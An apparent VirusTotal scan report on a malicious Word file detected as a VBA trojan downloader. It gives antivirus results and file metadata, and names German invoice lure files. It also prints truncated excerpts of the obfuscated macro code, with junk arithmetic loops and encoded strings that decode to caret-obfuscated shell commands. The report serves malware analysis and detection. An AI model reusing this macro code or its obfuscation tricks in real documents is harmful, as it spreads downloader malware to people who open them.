Antivirus scan for b64ec6fbc31e175ac0371ed4317559d6ab4b2a382ae3e804d94d5ee796d34eaa at 2018-03-21 10:01:59 UTC

Antivirus	Result	Update
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180321
Emsisoft	Trojan-Downloader.Agent (A)	20180321
Fortinet	VBA/Agent.HHV!tr	20180321
nProtect	Suspicious/W97M.Obfus.Gen	20180321
Qihoo-360	virus.office.qexvmc.1090	20180321
Zoner	Probably W97Obfuscated	20180321
Ad-Aware		20180321
AegisLab		20180321
AhnLab-V3		20180321
Alibaba		20180321
ALYac		20180321
Antiy-AVL		20180321
Arcabit		20180321
Avast		20180321
Avast-Mobile		20180321
AVG		20180321
Avira (no cloud)		20180321
AVware		20180321
BitDefender		20180321
Bkav		20180320
CAT-QuickHeal		20180321
ClamAV		20180321
CMC		20180321
Comodo		20180321
CrowdStrike Falcon (ML)		20170201
Cybereason		20180225
Cylance		20180321
Cyren		20180321
DrWeb		20180321
eGambit		20180321
Endgame		20180316
ESET-NOD32		20180321
F-Prot		20180321
F-Secure		20180321
GData		20180321
Sophos ML		20180121
Jiangmin		20180321
K7AntiVirus		20180321
K7GW		20180321
Kaspersky		20180321
Kingsoft		20180321
MAX		20180321
McAfee		20180321
McAfee-GW-Edition		20180321
Microsoft		20180321
eScan		20180321
NANO-Antivirus		20180321
Palo Alto Networks (Known Signatures)		20180321
Panda		20180320
Rising		20180321
SentinelOne (Static ML)		20180225
Sophos AV		20180321
SUPERAntiSpyware		20180321
Symantec		20180321
Symantec Mobile Insight		20180311
Tencent		20180321
TheHacker		20180319
TotalDefense		20180321
Trustlook		20180321
VBA32		20180321
VIPRE		20180321
ViRobot		20180321
Yandex		20180321
Zillya		20180321
ZoneAlarm by Check Point		20180321

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-03-21 06:44:00

template

Normal.dotm

author

Mymefo

page_count

last_saved

2018-03-21 06:44:00

revision_number

application_name

Microsoft Office Word

character_count

code_page

Latin I

Document summary

line_count

characters_with_spaces

version

1048576

paragraph_count

code_page

Latin I

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/WkKhrqwGCJfJZL

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/duwXCMP

[+] Macros/VBA/mzjJVkvoJaC

[+] Macros/VBA/qizzudXabhipj

[+] Macros/VBA/tZpzMwb

[+] WordDocument

Macros and VBA code streams

[+] mzjJVkvoJaC.bas Macros/VBA/mzjJVkvoJaC 28923 bytes

Function XNwEbcPBpcDr()
On Error Resume Next
For RYsZMu = pqSrL To hHGrRF
 ITqwap = zROKL * Int(VuwhZ / CDate(HiFPbW) / 88195 - Atn(39662)) + (51037 + Sin(dbKRWf) * iwzWYa - Int(47411) + 54774 / fninK / RXwDD + OZjUv)
Next
MrTmw = zEnPR("14LMMAYDAzAQNAEGAjBwNAIDA4AQOAcDAkBwYAEDA3AANAMDAwAwMAIDAmBQMAcDAzAQNAgDAyAgNAQGA2AgYAEGAhBAMAUGAiBwMAYDA5AAOAIDA5AwMAMDAyAQNAYDA3AQNAcDAxAgMAYGAhBwMAcDA4AgYAUDA0AQMAEDAwAAMAEDA0AAOAEGAmBANAUGAoc7", 4 + 0, 189 + 0)
For nnAuBq = OlaXiD To mTrGqm
 EJmTSb = TXSCdc * Int(pHlmnr / CDate(nqAPAW) / 33383 - Atn(90374)) + (65509 + Sin(iIJidN) * jOBvNI - Int(39508) + 10114 / vzMGUC / tRTmES + cYprY)
Next
For wHXZYU = XfPhKj To bDHjzJ
 MoNqUW = bvaZi * Int(wAjMdz / CDate(PkBzq) / 70915 - Atn(70923)) + (96568 + Sin(bzQVK) * TKjEwI - Int(90498) + 70259 / HckAbX / GBzPcn + zjlWN)
Next
kfMZjj = zEnPR("hwdAUGAmBgNAQGAxAgZAUDA2AQOAIDAzAgMAgDAxAAOAMGA4AQMAEGAhBgZAEGAmBwYAIGA3AQMAQDAmBQOAUDA3AQMAkDAxAwYAIGAkBQOAEDAiBgMAgDAhBgNAEDA0Ad,ZO", 5 + 0, 126 + 0)
For aIMlN = WcZzBU To LpOAkX
 ftPVuI = tkUNmh * Int(PzQwn / CDate(BSjCwv) / 55726 - Atn(53586)) + (51776 + Sin(jBzXoh) * qqEAcs - Int(9293) + 72269 / njwqz / wcpNM + WzfES)
Next
For lRBOoq = Rnkkjz To XbfPQJ
 GBJRb = mBFcD * Int(LAHjzP / CDate(iKMcp) / 49759 - Atn(33987)) + (46381 + Sin(nBsbz) * fPszMn - Int(1199) + 31670 / HjDomQ / hAzfqu + TrJfM)
Next
hoLVGlU = zEnPR("8gHgjvdDDvnk8gHgjvdDDvnkJA1Am", 4 + 0, 1 + 0)
For Ejcih = roACi To uiUJWd
 JsTsbU = krYGDI * Int(CiYDZG / CDate(YHhzU) / 2740 - Atn(92288)) + (30117 + Sin(JUjtC) * kqBJt - Int(69737) + 1012 / uzWpr / wGzXV + kmvHSs)
Next
For Iuzpzj = rzwlk To IiouP
 kNLZu = zWCBT * Int(RztzkL / CDate(OHQFv) / 82391 - Atn(45466)) + (76610 + Sin(IcDkGb) * hwUEf - Int(4661) + 25125 / qjUTk / LzcVA + UIQiX)
Next
ZitzjTzS = zEnPR("jZ8gHgjvdDDvnkUDAjBAjBB", 4 + 0, 6 + 0)
For wNazi = pcLBQ To tLuOO
 WDDiz = bPFTDY * Int(lhJEza / CDate(zziIIJ) / 63594 - Atn(41491)) + (53559 + Sin(OFtAMT) * TQvWT - Int(33908) + 42417 / nUiZk / voWSZ + uWnzF)
Next
For wLGHVs = d [... continues ...]

[+] duwXCMP.bas Macros/VBA/duwXCMP 19816 bytes

create-ole obfuscated run-file

Function HZwpXPuhcY()
On Error Resume Next
For XirGZ = RGtLQ To OVIMvd
 NcMPC = DrDrZj * Int(QYVzw / CDate(OFWmv) / 26438 - Atn(7309)) + (16454 + Sin(uOJoo) * WaLToP - Int(42522) + 32009 / PUizP / zIQlOH + pQBwjj)
Next
BNWtOGoE = zEnPR("VPlNud&iptwlNDwm=%FtJ", 2 + 0, 14 + 0)
For pikrVt = JjHusp To XbiDs
 uFsCZn = kvRqfp * Int(Yhjni / CDate(sqcJr) / 42552 - Atn(35963)) + (67906 + Sin(oSuqA) * jpiRi - Int(28814) + 24835 / OQODV / prvZWn + djLDU)
Next
For FfGzsD = VqQoc To XFzouC
 iLLLRu = XFTSii * Int(qJCdhT / CDate(wsVqj) / 83118 - Atn(29811)) + (60593 + Sin(IdBOM) * Tvjzaj - Int(30631) + 44081 / JuPhvu / MiRjT + VlDNsh)
Next
jkBAn = zEnPR("97LBStdMAmkzEv8gHgjvdDDvnk% te8gHgjvdDDvnk&&w^o=D", 2 + 0, 18 + 0)
For pdTPw = Hzktpi To Xjlch
 izQTwc = dZvuNo * Int(LIfazl / CDate(mNcpc) / 1727 - Atn(95199)) + (34989 + Sin(zbfIDN) * KWnVM - Int(65606) + 4586 / fBAJPA / dvirk + dUbdLk)
Next
For DrYEjN = kCrAw To zRAqf
 ERHsfV = InuNko * Int(ouLvQP / CDate(tPVAHF) / 27095 - Atn(23012)) + (77993 + Sin(lrScPw) * tjwFVq - Int(78904) + 14067 / YNFGF / QOKCls + PWwwO)
Next
QkzMkrjowQ = zEnPR("a 8gHgjvdDDvnkwuWA2", 4 + 0, 2 + 0)
For sWwZzM = hQWYY To tvjAGh
 KbDRMK = VTbIW * Int(MOpaoH / CDate(EtArld) / 9200 - Atn(97403)) + (55718 + Sin(WpQoRR) * jMnFf - Int(26700) + 78036 / CzUiG / LznWR + LfjGIs)
Next
For TNbZEa = IRUoQ To odaVT
 rGNkmw = fJCit * Int(SzBhf / CDate(oYbjSh) / 77190 - Atn(36024)) + (36198 + Sin(iLRvqT) * Gdobv - Int(91331) + 4450 / jbUwW / vvjfMQ + uCwfq)
Next
DGHwWw = zEnPR("8H&&!%rDcAFOaF", 7 + 0, 6 + 0)
For aqRzdz = vErNs To ZcjGTU
 wnQlPd = BLapw * Int(zbQSd / CDate(zzqqDS) / 76059 - Atn(69176)) + (82317 + Sin(KwiLtz) * ZfhAwY - Int(68493) + 58416 / RmdzM / cdUzF + MSctMG)
Next
For NmOYT = HCviTQ To aqjlJZ
 rFqEz = ZYwwA * Int(jLuXv / CDate(zJpbd) / 23736 - Atn(29679)) + (6143 + Sin(wVfiR) * WVIwJ - Int(51594) + 1790 / iEzdI / ifSlPL + WQbdo)
Next
vvslKsjV = zEnPR("JB7Y%rDcpBPcbd5O", 4 + 0, 9 + 0)
For EbCTNj = Mqlal To wnHWii
 WjSCt = FmAEj * Int(Vjvuj / CDate(muzT [... continues ...]

[+] qizzudXabhipj.bas Macros/VBA/qizzudXabhipj 5904 bytes

obfuscated

Function jwtolJAEzTs()
On Error Resume Next
For EwvAV = iznFG To mGwPKj
 qLiojc = MWcFdu * Int(UCzrjU / CDate(fwBNkU) / 4286 - Atn(97491)) + (78404 + Sin(dKSbw) * IPXjC - Int(16054) + 41087 / cMCSEw / iMwLP + awImOh)
Next
BNWtOGoE = zEnPR("VPlNud^p^S^m^o^CJ", 2 + 0, 10 + 0)
For cScSX = pcInkW To TkXRju
 fwwUQj = hSOuoa * Int(FKjjuX / CDate(vVYNo) / 78927 - Atn(27047)) + (80877 + Sin(qCTrt) * TICqrH - Int(18608) + 88561 / wwiNao / oWjjcZ + craru)
Next
For jiNjXH = FiMBAM To RqoFGX
 mkNmm = ibubuP * Int(DwNvmI / CDate(SufYw) / 27275 - Atn(31383)) + (76581 + Sin(wRzGn) * wztlMw - Int(57820) + 69087 / GkNmTd / SzXkrE + qXirCw)
Next
jkBAn = zEnPR("97LBStdM^%     %^c^E^p^S^mD", 2 + 0, 18 + 0)
For vILKA = CAvBo To uRLBd
 vDwBj = BtKDO * Int(HblbLc / CDate(cSPqS) / 4162 - Atn(41823)) + (91404 + Sin(KXiWAW) * vKtZH - Int(16516) + 11767 / zmMuN / SGjwA + fMfzN)
Next
For cNTTfJ = fkZYa To uwbwsB
 PRpIAw = FNzUl * Int(AsQzOk / CDate(uFnRXF) / 20845 - Atn(4301)) + (38260 + Sin(NZmwb) * XLTjo - Int(14580) + 34771 / FnkiCf / iIThJd + lunSl)
Next
QkzMkrjowQ = zEnPR("a 8gHgjvdDDvnk         V/     %^c^EWA2", 4 + 0, 21 + 0)
For muztZ = sovDun To DMjVfz
 hfRTOR = zaZtVW * Int(zKorF / CDate(nnmEY) / 88365 - Atn(41904)) + (51352 + Sin(BYHTz) * GdfiI - Int(97022) + 86271 / WKZQZ / Bviac + tsMuV)
Next
For GpSdE = pHmzoR To FaWQV
 PPlDP = sXRjj * Int(THjioA / CDate(zYnJpT) / 67761 - Atn(72577)) + (45514 + Sin(POiwOV) * UlDPMO - Int(46259) + 47654 / wVKda / VpWocG + kfcUwB)
Next
DGHwWw = zEnPR("8H^o^C^%     & pacAFOaF", 7 + 0, 15 + 0)
For CBFlj = DzMnJ To kkVOb
 AitpbZ = tZAXnr * Int(WECwP / CDate(tQhXc) / 68376 - Atn(59773)) + (25004 + Sin(LPRAa) * XaNZfs - Int(81727) + 71017 / ZYvrs / hYwDAk + VMrujX)
Next
For lqFacG = isidA To oYhwmI
 dEMNE = wEsrt * Int(lszChN / CDate(FPqvK) / 43196 - Atn(35693)) + (95157 + Sin(ozSXK) * KhdrW - Int(30252) + 19033 / pBkpO / qVzkYD + nJCrl)
Next
vvslKsjV = zEnPR("JB7YHUF dmd5O", 4 + 0, 6 + 0)
For cPvYW = jiQYpr To vKBtZj
 DdSzi = GzWYbz * Int(AhotdO / CDat [... continues ...]

[+] tZpzMwb.bas Macros/VBA/tZpzMwb 439 bytes

ExifTool file metadata

SharedDoc

Author

Mymefo

CodePage

Windows Latin 1 (Western European)

System

Windows

LinksUpToDate

HeadingPairs

Title, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

CreateDate

2018:03:21 05:44:00

Word97

LanguageCode

English (US)

CompObjUserType

Microsoft Word 97-2003 Document

ModifyDate

2018:03:21 05:44:00

ScaleCrop

Characters

HyperlinksChanged

RevisionNumber

MIMEType

application/msword

Words

FileType

DOC

Lines

AppVersion

16.0

Security

None

Software

Microsoft Office Word

TotalEditTime

Pages

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

LastPrinted

0000:00:00 00:00:00

DocFlags

Has picture, 1Table, ExtChar

File identification

MD5 f3636f2d7b39a9418ca4f01d9dd18d8c

SHA1 26827a4a8591a42a8525da1e6e839547d76fdff5

SHA256 b64ec6fbc31e175ac0371ed4317559d6ab4b2a382ae3e804d94d5ee796d34eaa

ssdeep

3072:ugiqk6nAmgXszydtV4g8wTlKGcs+7cl3xwLAfm8HA7RRA:uQbnAm0wgt5PcsmGgAf7g

File size 205.0 KB ( 209920 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Mymefo, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Mar 20 05:44:00 2018, Last Saved Time/Date: Tue Mar 20 05:44:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-03-21 09:54:06 UTC ( 11 months ago )

Last submission 2018-05-28 03:20:03 UTC ( 8 months, 4 weeks ago )

File names

Rechnung #9651241996.doc
Rechnung Nr.99417 #97491358.doc
RECHNUNG 48921 #74247447819.doc
Information #65725570574.doc
Rechnungs-Details #26199574.doc
Rechnung #35520606860.doc
output.113020102.txt
Tracking 804245-JBR-GOEH.doc
Information #148952910689.doc
RECHNUNG 17019 #8764929505.doc
Number 314984704-DRN-ZYMZR.doc
05bb07fdf26c1c3130c37d4d2e39cee9fcdaaff8
Rechnung
Rechnung #713128465017.doc
Number 2511812551-GUSR-AURD.doc
#7001494433.doc
#0199937581.doc
Rechnung Nr.77599 #8395997470.doc
Express 212168651-KI-DQX.doc
Number 0113172-OB-DYOQ.doc
Rechnung #057867901518.doc
Rechnung #56937712.doc
Rechnungs-Details #3152155531.doc
Rechnung #67378294.doc
Express 5455458-RK-IZQW.doc

SHA256:	b64ec6fbc31e175ac0371ed4317559d6ab4b2a382ae3e804d94d5ee796d34eaa
File name:	output.113020102.txt
Detection ratio:	6 / 53
Analysis date:	2018-03-21 10:01:59 UTC ( 11 months ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in